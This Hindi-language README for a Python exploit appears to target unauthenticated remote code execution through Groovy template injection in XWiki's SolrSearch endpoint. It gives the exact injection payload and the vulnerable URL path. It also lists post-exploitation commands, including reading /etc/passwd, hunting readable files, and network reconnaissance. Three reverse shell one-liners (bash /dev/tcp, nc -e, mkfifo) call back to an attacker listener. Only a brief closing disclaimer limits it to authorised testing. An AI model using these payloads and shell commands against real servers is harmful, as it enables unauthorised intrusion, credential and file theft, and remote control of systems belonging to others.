
XWiki में SolrSearch Macro के माध्यम से बिना प्रमाणीकरण के रिमोट कोड निष्पादन
SolrSearch एंडपॉइंट में Groovy टेम्पलेट इंजेक्शन के माध्यम से XWiki सर्वर-साइड टेम्पलेट इंजेक्शन (SSTI) भेद्यता के लिए एक Python एक्सप्लॉइट।
pip3 install requests beautifulsoup4
./xwiki_exploit.py -u http://target --test
./xwiki_exploit.py -u http://target.com -c "whoami"
./xwiki_exploit.py -u http://target.com -c "id"
./xwiki_exploit.py -u http://target.com -c "ls -la /tmp"
./xwiki_exploit.py -u http://target.com
यह आपको एक इंटरैक्टिव स्यूडो-शेल देगा जहाँ आप कमांड चला सकते हैं:
xwiki> whoami
xwiki
xwiki> pwd
/usr/lib/xwiki-jetty
xwiki> ls /home
oliver
xwiki> exit
./xwiki_exploit.py -u http://target.com -c "id" --debug
-u, --url URL: लक्ष्य URL (आवश्यक)-c, --command CMD: एकल कमांड निष्पादित करें--test: जाँचें कि लक्ष्य भेद्य है या नहीं--no-verify-ssl: SSL प्रमाणपत्र सत्यापन अक्षम करें--debug: डीबग आउटपुट सक्षम करेंसूचना संग्रहण:
./xwiki_exploit.py -u http://target.com -c "uname -a"
./xwiki_exploit.py -u http://target.com -c "cat /etc/os-release"
./xwiki_exploit.py -u http://target.com -c "cat /etc/passwd"
रोचक फ़ाइलें खोजें:
./xwiki_exploit.py -u http://target.com -c "find /home -type f -readable 2>/dev/null"
./xwiki_exploit.py -u http://target.com -c "ls -la /var/lib/xwiki"
नेटवर्क जानकारी:
./xwiki_exploit.py -u http://target.com -c "ip addr"
./xwiki_exploit.py -u http://target.com -c "netstat -tulpn"
रिवर्स शेल स्थापित करें:
# On attacker machine, start listener:
nc -lvnp 1337
# From exploit (try different methods):
./xwiki_exploit.py -u http://target.com -c "bash -c 'bash -i >& /dev/tcp/IP/1337 0>&1'"
./xwiki_exploit.py -u http://target.com -c "nc -e /bin/sh IP 1337"
./xwiki_exploit.py -u http://target.com -c "rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc IP 1337 >/tmp/f"
एक्सप्लॉइट निम्नलिखित SSTI पेलोड संरचना का उपयोग करता है:
}}}{{async async=false}}{{groovy}}println("COMMAND".execute().text){{/groovy}}{{/async}}
पेलोड को URL-एन्कोड किया जाता है और भेद्य एंडपॉइंट पर भेजा जाता है:
/xwiki/bin/view/Main/SolrSearch?media=rss&text=[PAYLOAD]
सर्वर Groovy टेम्पलेट को संसाधित करता है और कमांड निष्पादित करता है
आउटपुट RSS फ़ीड प्रतिक्रिया से इस प्रारूप में कैप्चर किया जाता है:
search on [}}OUTPUT]
एक्सप्लॉइट कमांड आउटपुट निकालने के लिए HTML प्रतिक्रिया को पार्स करता है
xwiki उपयोगकर्ता (uid=997) के रूप में निष्पादित होते हैं/usr/lib/xwiki-jetty हैयह उपकरण केवल शैक्षिक और अधिकृत पैठ परीक्षण उद्देश्यों के लिए है। इसका उपयोग केवल उन प्रणालियों पर करें जिनके परीक्षण की अनुमति आपके पास है।